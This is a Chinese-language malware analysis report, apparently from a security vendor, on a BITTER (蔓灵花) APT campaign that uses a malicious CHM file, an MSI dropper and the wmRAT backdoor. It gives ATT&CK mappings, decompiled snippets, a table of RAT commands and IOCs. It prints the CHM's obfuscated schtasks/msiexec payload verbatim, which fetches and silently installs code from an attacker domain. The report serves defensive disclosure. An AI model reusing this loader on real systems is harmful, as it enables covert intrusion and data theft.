概述
瑞星于2023年12月20日接到国内某敏感单位反馈称设备上扫描到间谍软件,经专家分析相关文件为wmRAT
后门,该后门由国外一个名为蔓灵花
的攻击组织制作,即相关单位遭遇了APT攻击。蔓灵花
组织,又称为BITTER
,是一支据称有南亚背景的APT组织,疑似来自印度。至少自2013年起就开始对目标发动网络攻击,攻击目标包含中国、巴基斯坦等国家,涉及行业有政府、军事、能源等,其意图是窃取敏感资料
ATT&CK技术矩阵
战术 | 技术 | 具体行为 |
---|---|---|
TA0001 -初始访问 |
T1566 -网络钓鱼 |
我们推断本次攻击行动仍然使用钓鱼邮件进行攻击 |
TA0002 -执行 |
T1204 -用户执行 |
需要用户主动双击运行压缩包内的CHM文件 |
TA0002 -执行 |
T1059 -命令和脚本解释器 |
wmRAT 可以调用PowerShell 执行命令 |
TA0002 -执行 |
T1053 -计划任务/作业 |
wmRAT 实际上是通过计划任务下载并获得执行 |
TA0003 -持久化 |
T1053 -计划任务/作业 |
恶意CHM文件通过在设备上创建计划任务实现持久化 |
TA0005 -防御规避 |
T1027 -混淆过的文件或信息 |
wmRAT 内置的C2域名经过加密处理 |
TA0005 -防御规避 |
T1140 -去混淆或解密文件和信息 |
wmRAT 内置的C2域名在执行时会进行解密 |
TA0005 -防御规避 |
T1480 -选择性攻击 |
攻击者会针对不同的受害者在FTP上传不同的MSI安装包 |
TA0007 -环境发现 |
T1082 -收集系统信息 |
wmRAT 会获取当前设备的计算机名和磁盘列表并回传至服务器 |
TA0007 -环境发现 |
T1083 -枚举文件和目录 |
wmRAT 可以枚举文件和目录并将信息回传服务器 |
TA0007 -环境发现 |
T1033 -探测系统所有者/用户 |
wmRAT 会获取当前会话的用户名并回传至服务器 |
TA0009 -收集信息 |
T1083 -来自本地系统的数据 |
wmRAT 可以采集特定文件的数据并将数据回传服务器 |
TA0009 -收集信息 |
T1113 -屏幕截图 |
wmRAT 可以回传截屏数据至服务器 |
TA0011 -指挥与控制 |
T1105 -文件传输工具 |
wmRAT 可以从服务器或者指定的URL获取文件 |
TA0011 -指挥与控制 |
T1095 -非应用层协议 |
wmRAT 使用TCP协议与服务器通信 |
TA0011 -指挥与控制 |
T1041 -通过C2通道外传 |
wmRAT 使用C2通道回传采集的文件数据 |
事件详情
我们除了获得最终投放的MSI安装包之外,在相关设备上仅排查到了攻击流程里创建的计划任务。但我们通过其他途径获得了创建该计划任务的CHM文件。根据蔓灵花
组织过往的攻击手法推断,CHM文件即为攻击者投放的初始样本。蔓灵花
组织以鱼叉式钓鱼邮件投递恶意压缩包,压缩包里面通常为恶意CHM文件(利用点击劫持
),有时也会在压缩包里面搭载利用公式编辑器漏洞的Office文档。恶意文件被执行时,将会向系统内添加计划任务。创建的计划任务通常每隔15到20分钟请求一次C2,下载后续载荷,在请求时通常会带上计算机名和用户名,这会在后台为受害者建立起一个文件夹,后续通过FTP的方式向指定受害者目录下上传MSI文件。MSI文件被执行后将会向电脑内植入最终的wmRAT
后门,攻击者也有可能借此投放其他恶意程序。
攻击过程
样本分析
初始CHM文件分析
字段 | 内容 |
---|---|
原始文件名 | Letter – Mr Suriyapong KUMSOPAR (FS-THA5057-2200482 CPR).chm |
文件大小 | 10.9 KB (11,252 字节) |
文件MD5 | 0D8E8E4DBCD6AE44B8BFF551C97D81C4 |
文件类型 | CHM文件 |
病毒名 | Trojan.MouseJack/HTML!1.BE26 |
主要功能 | 创建计划任务 |
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",schtasks, /create /sc minute /mo 18 /tn Edgeupdates /tr "%coMSPec% /c s^ta^rt /^m^i^n m^s^i^e^xe^c ^/^i h^tt^p://m^i^ke^yo^ur^ev^e^nt^s.c^om/CP/tre.p^h^p?p^i=%username%*%computername% /^q^n ^/^norestart" /f">
<PARAM name="Item3" value="273,1,1">
</OBJECT>
CHM文件双击运行后将会由系统的hh.exe
解析并渲染内部的doc.htm
文件,内部利用了点击劫持
的手法,在脚本部分调用了id为x
的对象的点击事件,这将导致HTML页面展示时Item1
内保存的内容被视为系统命令并执行
执行时将会调用schtasks
创建一个名为Edgeupdates
的计划任务,每18分钟运行一次。计划任务运行时将执行%coMSPec% /c s^ta^rt /^m^i^n m^s^i^e^xe^c ^/^i h^tt^p://m^i^ke^yo^ur^ev^e^nt^s.c^om/CP/tre.p^h^p?p^i=%username%*%computername% /^q^n ^/^norestart
命令,即调用msiexec
从hxxp://mikeyourevents.com/CP/tre.php?pi=%username%*%computername%
拉取MSI安装包静默安装且不重启系统
MSI安装包分析
字段 | 内容 |
---|---|
原始文件名 | CERT.msi |
文件大小 | 738 KB (756,224 字节) |
文件MD5 | D74C13DB24E632310E27A2937F26059F |
文件类型 | MSI安装包 |
病毒名 | Backdoor.[Bitter]wmRAT!1.F137 |
主要功能 | 释放并执行wmRAT 后门 |
该MSI安装包由攻击者主动投放,使用Advanced Installer
制作,其CustomAction
节内定义了一个名为_1972055E_B378_45DC_AB78_0802F1CB307A
的自定义动作,该动作将执行安装包内名为_5597A4D910F27F8A0ABA6AEA47D72F42
的文件,这个文件正是攻击者最终要投放的wmRAT
后门
而这个自定义动作将在安装的最后阶段被执行
wmRAT分析
字段 | 内容 |
---|---|
文件大小 | 91.0 KB (93,184 字节) |
文件MD5 | DA1DFCAFC961ABBD4E6D6FA22C02CE16 |
文件类型 | PE_EXE |
病毒名 | Backdoor.[Bitter]wmRAT!1.F137 |
主要功能 | 后门程序,接收服务器指令并执行 |
蔓灵花
组织的wmRAT
于2022年被首次披露,披露时远控指令只有16个,并且有一半的指令无实际功能,这表明蔓灵花
组织正在积极开发该后门程序
wmRAT
利用C++
的全局变量初始化机制,巧妙的将字符串的解密函数插入到运行时mainCRTStartup
中initterm
所在的函数指针表下。这样防止了恶意样本在被静态分析时直接获得明文字符串,规避静态查杀。另外在主体代码中,加入了大量Sleep
函数以规避沙箱行为检测。
push offset dword_D5D3EC ; Last
push offset dword_D5D350 ; First
call _initterm
用于解密字符串的函数如下,通过ADD
和SUB
运算的方式对字符串进行解密。
v8 = v7;
v9 = 0;
v15 = v7;
v10 = a6;
v11 = a6;
if ( a6 > 0 )
{
while ( 1 )
{
if ( v9 > v10 )
{
invalid_parameter_noinfo();
v10 = a6;
}
v12 = a2;
if ( a7 < 0x10 )
v12 = &a2;
if ( v9 > v10 )
invalid_parameter_noinfo();
v13 = a2;
if ( a7 < 0x10 )
v13 = &a2;
*(v13 + v9) = *(v12 + v9) - 0x3E;
if ( ++v9 >= v11 )
break;
v10 = a6;
}
v8 = v15;
}
std::string::string(v8, &a1);
std::string::~string(&a1);
return v8;
初始全局变量在被解密后得到域名dtzappaccount[.]com
,域名通过以下函数被转换为IP地址与控制端建立连接。
WSAStartup(2u, &WSAData);
pHints.ai_flags = 0;
memset(&pHints.ai_addrlen, 0, 16);
pHints.ai_family = 0;
v0 = pNodeName;
ppResult = 0;
pHints.ai_socktype = 1;
pHints.ai_protocol = 6;
if ( dword_D63F5C < 0x10 )
v0 = &pNodeName;
if ( !getaddrinfo(v0, 0, &pHints, &ppResult) )
{
v1 = ppResult;
if ( ppResult )
{
do
{
v2 = inet_ntoa(*&v1->ai_addr->sa_data[2]);
strcpy_s(g_getaddr, 0x104u, v2);
v1 = v1->ai_next;
}
while ( v1 );
v1 = ppResult;
}
freeaddrinfo(v1);
}
访问hxxps://ipapi.co/
查询主机IP信息,通过调用系统函数,获得当前计算机基本信息并在初始连接时发送到控制端
例如:123-PC|| Administrator|| Windows 7 Ultimate||C:\Users\Administrator\Desktop\vmncros.exe||
本样本中wmRAT
的指令与功能展示如下:
序号 | 指令名 | 功能 |
---|---|---|
7 | 截取屏幕图像上传 | |
10 | RFOX | 读取文件流的指定位置,上传文件数据 |
12 | 获取指定URL的页面内容,作为ShellCode执行 | |
15 | XXDRPX | 列出指定文件目录的详细信息 |
15 | Error | 返回错误提示信息 |
19 | 获得指定目录下的文件信息(加密上传) | |
21 | F@ngS-XFSXX | 打开一个下载文件流 |
21 | F@ngS-lstcts | 获取设备名称、系统用户名称、系统中产品信息 |
21 | F@ngS-DXXXDXXX | 遍历磁盘,获得磁盘设备信息 |
21 | F@ngS-DEXDXXL | 删除指定路径的文件 |
21 | XXSSPPDDNN | 关闭上传文件流 |
21 | Search | 搜索文件信息 |
22 | 命令执行,创建CMD 或PowerShell 管道执行命令 |
|
25 | 上传指定路径下的文件 | |
28 | 读取上传文件流,上传数据 | |
30 | 关闭下载文件流 | |
31 | 接收文件数据,写入数据到下载文件流 |
总结
APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征,针对的目标都是具有重大信息资产,如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等,国内相关政府机构和企业单位务必要引起重视,加强防御措施。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本
- 及时修补系统补丁和重要软件的补丁。
沦陷信标(IOC)
-
MD5
0D8E8E4DBCD6AE44B8BFF551C97D81C4 D74C13DB24E632310E27A2937F26059F DA1DFCAFC961ABBD4E6D6FA22C02CE16
-
DOMAIN
mikeyourevents.com dtzappaccount.com
-
URL
hxxp://mikeyourevents.com/CP/tre.php?pi=%username%*%computername%
-
IPV4
45.66.248.66
-
瑞星病毒名
Backdoor.[Bitter]wmRAT!1.F137